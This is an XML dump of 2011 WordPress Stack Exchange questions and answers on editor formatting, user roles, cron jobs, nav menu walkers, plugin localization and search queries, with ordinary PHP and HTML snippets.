  <row Id="25622" PostTypeId="1" AcceptedAnswerId="25624" CreationDate="2011-07-20T19:00:35.183" Score="0" ViewCount="29" Body="&lt;p&gt;I am presently learning PHP and Linux simultaneously. And I want to blog my notes not only for my future reference, but also because it could help others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed an issue with Wordpress - - it automatically adds &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt;&lt;/code&gt; tags in the background (HTML-side I mean, in the visual editor I see the code's background highlighted) as soon as I paste some code, be it HTML, PHP etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched a lot, and could find nothing about this. Looks like nobody thinks this as an issue, or it's something too easy to resolve. Either way, I am on the other side of things. So, please help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want Wordpress to stop highlighting the code like that. I Just want it to keep whatever I paste as it is.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-11T08:56:00.820" Title="Wordpress automatically adds &lt;pre&gt; tags when pasting code, how to stop it?" Tags="&lt;php&gt;&lt;html&gt;&lt;pre&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="25623" PostTypeId="2" ParentId="25622" CreationDate="2011-07-20T19:06:05.513" Score="3" ViewCount="" Body="&lt;p&gt;The only way to keep it the way you paste it is by switching to the HTML tab - this will show you the raw code as you formatted it. Wrapping code in  tags is also a good idea because it tells the browser that the code is literally 'precomposed', and it therefore won't render it. In terms of WP actually altering your code it is likely it will change characters such as '&amp;lt;' for their HTML entity equivalent, meaning browsers will render it as text rather than code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why exactly do you want to keep it without the tags? It shouldn't alter that much. &lt;/p&gt;&#xA;" LastActivityDate="2011-07-20T19:06:05.513" CommentCount="2" />
  <row Id="25624" PostTypeId="2" ParentId="25622" CreationDate="2011-07-20T20:58:39.307" Score="0" ViewCount="" Body="&lt;p&gt;I would like to recommend the Syntax Highlighter Evolved plugin for Wordpress. I use it on my own site and it is awesome. In fact a lot of the programming blogs you read will use it also. It supports a large number of coding formats, line numbers, alternate line colors, autocopy to clipboard, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/stats/&quot; rel=&quot;nofollow&quot;&gt;WP plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;Authors Website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.thomascsherman.com/2009/11/multithreading-revisited/&quot; rel=&quot;nofollow&quot;&gt;Example from my website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-07-20T20:58:39.307" />
  <row Id="25625" PostTypeId="2" ParentId="25622" CreationDate="2011-07-20T21:33:09.633" Score="0" ViewCount="" Body="&lt;p&gt;There is probably a pre tag somewhere in the included template files. If you are working with a local copy - try doing a search for &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; and see what files contain it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had similar issues with the wordpress wysisyg - and just edited the template file outright. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this only is doable with the self-hosted wordpress, and not a blog on wordpress.com&lt;/p&gt;&#xA;" LastActivityDate="2011-07-20T21:33:09.633" />
  <row Id="25626" PostTypeId="1" AcceptedAnswerId="25669" CreationDate="2011-08-11T08:59:14.950" Score="3" ViewCount="42" Body="&lt;p&gt;I would need to simplify the &quot;upload new image&quot; interface for our Authors : basically, hide a few fields that will only confuse my wordpress &quot;authors&quot; (like the &quot;Description&quot; and &quot;Alt&quot; text inputs). Administrators and Editors need to see these, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i implement that hiding/showing inputs according to the user's priviledges?&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-08-11T18:05:22.590" Title="Customize the upload screen" Tags="&lt;admin&gt;&lt;roles&gt;&lt;media-upload&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="25627" PostTypeId="1" CreationDate="2011-08-11T09:07:16.397" Score="1" ViewCount="43" Body="&lt;p&gt;Every so often my VPS server becomes unresponsive for no obvious reason. CPU usage is flat. No spike in traffic etc. When I run a top command on the machine (Centos) I can see that one of my sites has spawned loads of apache/httpd processes and is consuming the available RAM - yet there is virtually no traffic on the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a plugin installed that would backup the site every day (EZPZ backup: &lt;a href=&quot;http://wordpress.org/extend/plugins/ezpz-one-click-backup/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ezpz-one-click-backup/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a nose through the source and I could see it added a number of WP Cron jobs to execute daily backups. I suspect this is the root cause of the issue but are there any good tools that help to monitor which php scripts are killing my machine when/if it happens again. (i.e is there a logging tool I can switch on to log slow or long loading php processes??).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've since uninstalled the plugin and can see it has hooks to remove the WP Cron jobs it installed. Is there somewhere in the DB i can check WP Cron jobs to ensure they've definitely been removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ed&lt;/p&gt;&#xA;" OwnerUserId="7647" LastActivityDate="2011-08-11T09:54:35.070" Title="Some rogue WordPress plugin killing my server - how do I isolate and kill it?" Tags="&lt;wp-cron&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25628" PostTypeId="1" CreationDate="2011-08-11T09:46:09.977" Score="0" ViewCount="77" Body="&lt;p&gt;I have a hard coded login/register/lost password form in the sidebar of my theme. I am using hidden input for &quot;redirect_to&quot; which is working fine. But when I press login button without entering anything or specifically when an error occurs, it redirects to wp-login.php page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont want this to happen. If an error occurs it should show in the current place. How can i do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Same is required for the logout function. Basically, I dont want to show wp-login.php page at any cost to anyone.&lt;/p&gt;&#xA;" OwnerUserId="7338" LastActivityDate="2011-08-11T09:46:09.977" Title="Restrict Access to wp-login.php" Tags="&lt;redirect&gt;&lt;login&gt;&lt;register&gt;" CommentCount="2" />
  <row Id="25629" PostTypeId="2" ParentId="25627" CreationDate="2011-08-11T09:54:35.070" Score="3" ViewCount="" Body="&lt;p&gt;This is only a partial answer. You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/cron-view/&quot; rel=&quot;nofollow&quot;&gt;Cron View&lt;/a&gt; to see what crons are still active on your blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find some crons that shouldn't be there then maybe my answer here will help you remove that cron: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23412/cron-jobs-for-deactivated-plugins&quot;&gt;Cron jobs for deactivated plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-11T09:54:35.070" CommentCount="2" />
  <row Id="25630" PostTypeId="1" AcceptedAnswerId="27545" CreationDate="2011-08-11T10:39:44.187" Score="0" ViewCount="18" Body="&lt;p&gt;I have a multisite install with 2 sites. I am working on site A, and I have a lot fo users on site B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can individually move users from B to A, but there is a nontrivial number of users, and this could take days of repetitive work to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I move assign all of the users at once to site A from site B?&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2011-09-02T11:40:36.123" Title="Bulk Move Users from one site to another within a network ( Multisite )" Tags="&lt;multisite&gt;&lt;users&gt;" AnswerCount="2" />
  <row Id="25631" PostTypeId="1" CreationDate="2011-08-11T10:55:00.267" Score="0" ViewCount="12" Body="&lt;p&gt;From looking, it appears that only w3 total cache support this feature, where as wp-super-cache does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, is there a reason why not to let the other posts not expire for days? (assuming my site doesn't use many comments?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-08-11T10:55:00.267" Title="In which caching plugin can you set only the homepage to purge when a new post is published?" Tags="&lt;cache&gt;&lt;plugin-w3-total-cache&gt;&lt;wp-super-cache&gt;" CommentCount="2" />
  <row Id="25632" PostTypeId="1" CreationDate="2011-08-11T11:03:08.417" Score="0" ViewCount="16" Body="&lt;p&gt;I have a page, which displays post from some category. To this page I've just simply attached template files with query for displaying posts icons from right category. Every icon takes user to gallery. How can I add some class to my website menu so I can know which category is selected when user is in some gallery?&lt;/p&gt;&#xA;" OwnerUserId="7113" LastActivityDate="2011-08-11T11:03:08.417" Title="Menu &quot;current item&quot; class while traveling around items in category" Tags="&lt;categories&gt;&lt;menus&gt;" />
  <row Id="25633" PostTypeId="2" ParentId="25630" CreationDate="2011-08-11T11:13:49.557" Score="0" ViewCount="" Body="&lt;p&gt;This &lt;a href=&quot;http://tib.cjcs.com/5484/beta-migrate-users-from-one-or-more-wp-blogs-into-wordpress-3-0-multi-site/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; shows you how you can move users from one site into a blog that exists on a multisite. With a bit of modification you can get this to work from multisite blog to multisite blog.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-11T11:13:49.557" CommentCount="2" />
  <row Id="25634" PostTypeId="1" AcceptedAnswerId="25648" CreationDate="2011-08-11T11:14:35.610" Score="0" ViewCount="21" Body="&lt;p&gt;It's not hard i think, but i run out of ideas...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In template file I have code like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current = $post-&amp;gt;ID;&#xA;$parent = $post-&amp;gt;post_parent;&#xA;$pages = get_pages('child_of='.$parent.'&amp;amp;parent='.$parent.'&amp;amp;sort_column=post_title&amp;amp;title_li&amp;amp;hierarchical=0');&#xA;$front_id = get_option('page_on_front');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cant figure out how will statement to determine if &lt;code&gt;$front_id&lt;/code&gt; is in &lt;code&gt;$pages&lt;/code&gt; array look like !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx for Your time!&lt;/p&gt;&#xA;" OwnerUserId="7129" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-08-11T12:17:41.853" LastActivityDate="2011-08-11T14:47:10.277" Title="determine if specific page is in list?" Tags="&lt;navigation&gt;" AnswerCount="1" />
  <row Id="25635" PostTypeId="1" CreationDate="2011-08-11T11:20:51.577" Score="0" ViewCount="150" Body="&lt;p&gt;in the codepad link you can find what I am using to edit profile from the front-end. &lt;a href=&quot;http://codepad.org/QJjDEA7p&quot; rel=&quot;nofollow&quot;&gt;http://codepad.org/QJjDEA7p&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is working (which I got from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9775/how-to-edit-a-user-profile-on-the-front-end/9786#9786&quot;&gt;How to edit a user profile on the front end?&lt;/a&gt; and change some things for me to work correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Simple Local Avatar plugin to allow avatar uploading, but how can I modify the code to have it also from the front-end ? I found these below, which I tested, showed the upload button, did not showed the current avatar and didn't let me to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help on this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('show_user_profile');&#xA;do_action('edit_user_profile');&#xA;&#xA;do_action('personal_options_update');&#xA;do_action('edit_user_profile_update');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There goes a 50 bounty for a working example. Unfortunately I can not get Bainternet's example to work that I tested with User Avatar plugin also, and I am really stuck with this issue can't finding the solution.&lt;/p&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="4448" LastEditorDisplayName="" LastEditDate="2011-08-14T11:21:57.233" LastActivityDate="2011-08-17T05:21:14.297" Title="Uploading avatar from the frontend" Tags="&lt;front-end&gt;&lt;avatar&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="25636" PostTypeId="1" AcceptedAnswerId="25639" CreationDate="2011-08-11T11:40:05.700" Score="0" ViewCount="19" Body="&lt;p&gt;He Guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently i'm working on a simple WordPress Plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know within the Plugin i need to write my strings as &lt;code&gt;__()&lt;/code&gt; or &lt;code&gt;_e()&lt;/code&gt; and call &lt;code&gt;load_plugin_textdomain()&lt;/code&gt; but i wonder how to localize the Plugin Description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://i.stack.imgur.com/jleHL.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/jleHL.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is not the Plugin i'm working on. It's just an example to show what i mean.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4408" LastActivityDate="2011-08-11T12:14:09.427" Title="Localize Plugin Description" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25637" PostTypeId="1" CreationDate="2011-08-11T11:44:18.910" Score="0" ViewCount="14" Body="&lt;p&gt;I need to add the following object tag to a page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;object id=&quot;myExperience&quot; class=&quot;BrightcoveExperience&quot;&amp;gt;&#xA; &amp;lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&amp;gt;&#xA; &amp;lt;param name=&quot;width&quot; value=&quot;648&quot; /&amp;gt;&#xA; &amp;lt;param name=&quot;height&quot; value=&quot;630&quot; /&amp;gt;&#xA; &amp;lt;param name=&quot;playerID&quot; value=&quot;801136430001&quot; /&amp;gt;&#xA; &amp;lt;param name=&quot;playerKey&quot; value=&quot;**********&quot; /&amp;gt;&amp;lt;param name=&quot;isVid&quot; value=&quot;true&quot;/&amp;gt;&#xA; &amp;lt;param name=&quot;isUI&quot; value=&quot;true&quot; /&amp;gt;&amp;lt;param name=&quot;dynamicStreaming&quot; value=&quot;true&quot; /&amp;gt;&#xA;&amp;lt;/object&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However Wordpress is stripping the object tag and everything inside and replacing it with non-breaking spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The editor I'm using in TinyMCE Advanced on WP .3.2.1, I tried installed TinyMCE config and adding the following to the extended_valid_elements&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object[class|id|width|height|codebase|*],param[name|value|_value]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's had no effect, can anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="7816" LastActivityDate="2011-08-11T11:44:18.910" Title="TInyMCE object Tag stripped" Tags="&lt;tinymce&gt;&lt;object&gt;" />
  <row Id="25638" PostTypeId="1" CreationDate="2011-08-11T12:00:10.430" Score="1" ViewCount="89" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;example&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;Menu&amp;lt;/h1&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;sub-menu&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;sub-menu&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;sub-menu&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end of example --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;example&amp;gt;&#xA;&amp;lt;h1&amp;gt;Menu&amp;lt;/h1&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;sub-menu&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;sub-menu&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;sub-menu&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end of example --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make a menu with wp_nav_menu() and I want to achieve a clean code like this. I'm trying to do it with a custom walker but I don't have experience with this.&#xA;I think I have to overwrite a class but ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coud you help me with the code?? Thanks for all&lt;/p&gt;&#xA;" OwnerUserId="7815" LastActivityDate="2011-08-11T12:17:56.487" Title="wp_nav_menu() customized" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25639" PostTypeId="2" ParentId="25636" CreationDate="2011-08-11T12:14:09.427" Score="0" ViewCount="" Body="&lt;p&gt;Add two extra headers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Text Domain: your-text-domain&#xA;Domain Path: /languages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use the &lt;a href=&quot;http://wordpress.org/extend/plugins/codestyling-localization/&quot; rel=&quot;nofollow&quot;&gt;plugin Codestyling Localization&lt;/a&gt; to create your language files. Usually it'll find the description.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-11T12:14:09.427" CommentCount="4" />
  <row Id="25640" PostTypeId="2" ParentId="25638" CreationDate="2011-08-11T12:17:56.487" Score="0" ViewCount="" Body="&lt;p&gt;In my basis theme I use a &lt;a href=&quot;https://gist.github.com/1053467&quot; rel=&quot;nofollow&quot;&gt;walker for a simplified output&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;/**&#xA; * Create a nav menu with very basic markup.&#xA; *&#xA; * @author Thomas Scholz http://toscho.de&#xA; * @version 1.0&#xA; */&#xA;class T5_Nav_Menu_Walker_Simple extends Walker_Nav_Menu&#xA;{&#xA;    /**&#xA;     * Start the element output.&#xA;     *&#xA;     * @param  string $output Passed by reference. Used to append additional content.&#xA;     * @param  object $item   Menu item data object.&#xA;     * @param  int $depth     Depth of menu item. May be used for padding.&#xA;     * @param  array $args    Additional strings.&#xA;     * @return void&#xA;     */&#xA;    public function start_el( &amp;amp;$output, $item, $depth, $args )&#xA;    {&#xA;        $output     .= '&amp;lt;li&amp;gt;';&#xA;        $attributes  = '';&#xA;&#xA;        ! empty ( $item-&amp;gt;attr_title )&#xA;            // Avoid redundant titles&#xA;            and $item-&amp;gt;attr_title !== $item-&amp;gt;title&#xA;            and $attributes .= ' title=&quot;' . esc_attr( $item-&amp;gt;attr_title ) .'&quot;';&#xA;&#xA;        ! empty ( $item-&amp;gt;url )&#xA;            and $attributes .= ' href=&quot;' . esc_attr( $item-&amp;gt;url ) .'&quot;';&#xA;&#xA;        $attributes  = trim( $attributes );&#xA;        $title       = apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID );&#xA;        $item_output = &quot;$args-&amp;gt;before&amp;lt;a $attributes&amp;gt;$args-&amp;gt;link_before$title&amp;lt;/a&amp;gt;&quot;&#xA;                        . &quot;$args-&amp;gt;link_after$args-&amp;gt;after&quot;;&#xA;&#xA;        // Since $output is called by reference we don't need to return anything.&#xA;        $output .= apply_filters(&#xA;            'walker_nav_menu_start_el'&#xA;            ,   $item_output&#xA;            ,   $item&#xA;            ,   $depth&#xA;            ,   $args&#xA;        );&#xA;    }&#xA;&#xA;    /**&#xA;     * @see Walker::start_lvl()&#xA;     *&#xA;     * @param string $output Passed by reference. Used to append additional content.&#xA;     * @return void&#xA;     */&#xA;    public function start_lvl( &amp;amp;$output )&#xA;    {&#xA;        $output .= '&amp;lt;ul class=&quot;sub-menu&quot;&amp;gt;';&#xA;    }&#xA;&#xA;    /**&#xA;     * @see Walker::end_lvl()&#xA;     *&#xA;     * @param string $output Passed by reference. Used to append additional content.&#xA;     * @return void&#xA;     */&#xA;    public function end_lvl( &amp;amp;$output )&#xA;    {&#xA;        $output .= '&amp;lt;/ul&amp;gt;';&#xA;    }&#xA;&#xA;    /**&#xA;     * @see Walker::end_el()&#xA;     *&#xA;     * @param string $output Passed by reference. Used to append additional content.&#xA;     * @return void&#xA;     */&#xA;    function end_el( &amp;amp;$output )&#xA;    {&#xA;        $output .= '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039&quot;&gt;this answer&lt;/a&gt; for implementation details.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-11T12:17:56.487" CommentCount="1" />
  <row Id="25641" PostTypeId="1" CreationDate="2011-08-11T12:48:02.553" Score="0" ViewCount="7" Body="&lt;p&gt;When calling the editComment method via XMLRPC I am getting &lt;code&gt;[403] You are not allowed to moderate comments on this site.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the admin account. I have added another admin, and editor and they both have the same issues.&lt;/p&gt;&#xA;" OwnerUserId="474" LastActivityDate="2011-08-11T12:48:02.553" Title="When Calling XMLRPC wp.editComment, getting 403 Error" Tags="&lt;xml-rpc&gt;" />
  <row Id="25643" PostTypeId="1" AcceptedAnswerId="25667" CreationDate="2011-08-11T13:30:33.643" Score="2" ViewCount="33" Body="&lt;p&gt;I was surprised to discover that add_role() modifies the database and fails if the role already exists. There are two implications here, one first more serious than the other: 1) if you're in development and update your add_role code, you must first remove_role() 2) once you have it right, you should never have to run that code again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So typically I have been putting my add_role() inside a wp_loaded action hook. And since I'm in development, I've also added a remove_role() before my add_role so I can be sure that if I modify my list of caps, it will actually take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But clearly this is now being run every time a page of the blog is being accessed. Okay, I could put it in an admin-only action, or I could create a plugin page maybe under Users or Tools where this role can be created once. I guess I'm hoping there's a simpler, more elegant solution out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't imagine there's a run_once kind of action is there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the best practice just to add the role and then use add_cap() a bunch of times? And even then I imagine add_cap is accessing the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just thinking in terms of the best way to reduce unncessary db access. What are your best practices?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-08-11T14:27:47.337" LastActivityDate="2011-08-11T17:41:56.800" Title="add_role() run only once?" Tags="&lt;roles&gt;&lt;actions&gt;&lt;add-cap&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="25644" PostTypeId="1" CreationDate="2011-08-11T13:42:24.243" Score="0" ViewCount="14" Body="&lt;p&gt;I'd like my posts to be paginated at 1 week increments, always stretching Monday to Sunday. So on Monday there may only be 1 days worth of posts on the front page, but by Sunday there will be 7 days worth of posts on the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how I would query the posts for them to be paginated this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7729" LastActivityDate="2011-08-11T13:42:24.243" Title="Get posts paginated at 1 week increments" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;pagination&gt;" />
  <row Id="25645" PostTypeId="1" CreationDate="2011-08-11T14:10:35.220" Score="0" ViewCount="34" Body="&lt;p&gt;I am using the Jetpack plugin to get 'site stats' which shows the number of views for blog posts/pages. So I'm no expert or anything but I'm guessing there is a table that stores these views. Is there a way to manipulate this data to create a simple list of the most popular posts by views in the sidebar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm using a plugin for this but I'd prefer to hard code it straight into the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be massively appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;" OwnerUserId="7817" LastActivityDate="2011-08-11T15:16:44.743" Title="How do I get a list of popular posts by views?" Tags="&lt;php&gt;&lt;popular-posts&gt;&lt;plugin-jetpack&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="25646" PostTypeId="1" CreationDate="2011-08-11T14:18:33.777" Score="0" ViewCount="23" Body="&lt;p&gt;So I have in my navigation of every page a search input and three checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;search&quot;&amp;gt;&#xA;    &amp;lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php the_search_query(); ?&amp;gt;&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; id=&quot;searchsubmit&quot; /&amp;gt;&#xA;        &amp;lt;fieldset id=&quot;search_filter&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; checked=&quot;checked&quot; name=&quot;job&quot; value=&quot;1&quot; /&amp;gt; Jobs &#xA;            &amp;lt;input type=&quot;checkbox&quot; checked=&quot;checked&quot; name=&quot;opportunity&quot; value=&quot;1&quot; /&amp;gt; Opportunities &#xA;            &amp;lt;input type=&quot;checkbox&quot; checked=&quot;checked&quot; name=&quot;resource&quot; value=&quot;1&quot; /&amp;gt; Resources&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first two checkboxes are for custom posts (&lt;code&gt;'jobs'&lt;/code&gt; and &lt;code&gt;'opportunities'&lt;/code&gt;), however 'Resources' is a whole filing of pages with a hierarchy ultimately parented by a page called 'Resources'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find out how to query custom post types along with pages with a parent of 'Resources' (I can also use the page/post ID for it if needbe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have &lt;a href=&quot;http://pastebin.com/qrBGVaDv&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/qrBGVaDv&lt;/a&gt; as my search form but it's broken entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can at least point me in the right direction, that would be fantastic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you feel like looking around the site in question for more info, check out &lt;a href=&quot;http://www.cirkut.net/wp/libertyguide&quot; rel=&quot;nofollow&quot;&gt;http://www.cirkut.net/wp/libertyguide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-08-11T14:18:33.777" Title="Search with checkbox filters (Custom Post type, and Pages)" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;&lt;search&gt;" />
  <row Id="25648" PostTypeId="2" ParentId="25634" CreationDate="2011-08-11T14:47:10.277" Score="0" ViewCount="" Body="&lt;p&gt;If you just need to remove, or ignore, it from &lt;code&gt;$pages&lt;/code&gt;, use the &lt;code&gt;exclude&lt;/code&gt; argument instead;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = wp_list_pages( array(&#xA;    'exclude' =&amp;gt; get_option( 'page_on_front' ),&#xA;    'child_of' =&amp;gt; $parent,&#xA;    'parent' =&amp;gt; $parent,&#xA;    'sort_column' =&amp;gt; 'post_title',&#xA;    'title_li' =&amp;gt; '',&#xA;    'hierarchical' =&amp;gt; '0'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;code&gt;wp_list_pages&lt;/code&gt; as I assume this is the function you've intended to use (&lt;code&gt;get_pages&lt;/code&gt; does not have a &lt;code&gt;title_li&lt;/code&gt; argument).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that &lt;strong&gt;isn't&lt;/strong&gt; what you were after, then just loop over the pages to determine if it's there;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $pages as $page ) {&#xA;    if ( $front_is_here = ( $page-&amp;gt;ID == $front_id ) )&#xA;        break;&#xA;}&#xA;&#xA;if ( $front_is_here ) {&#xA;    // front page is among pages&#xA;} else {&#xA;    // front page is *not* among pages&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-08-11T14:47:10.277" CommentCount="1" />
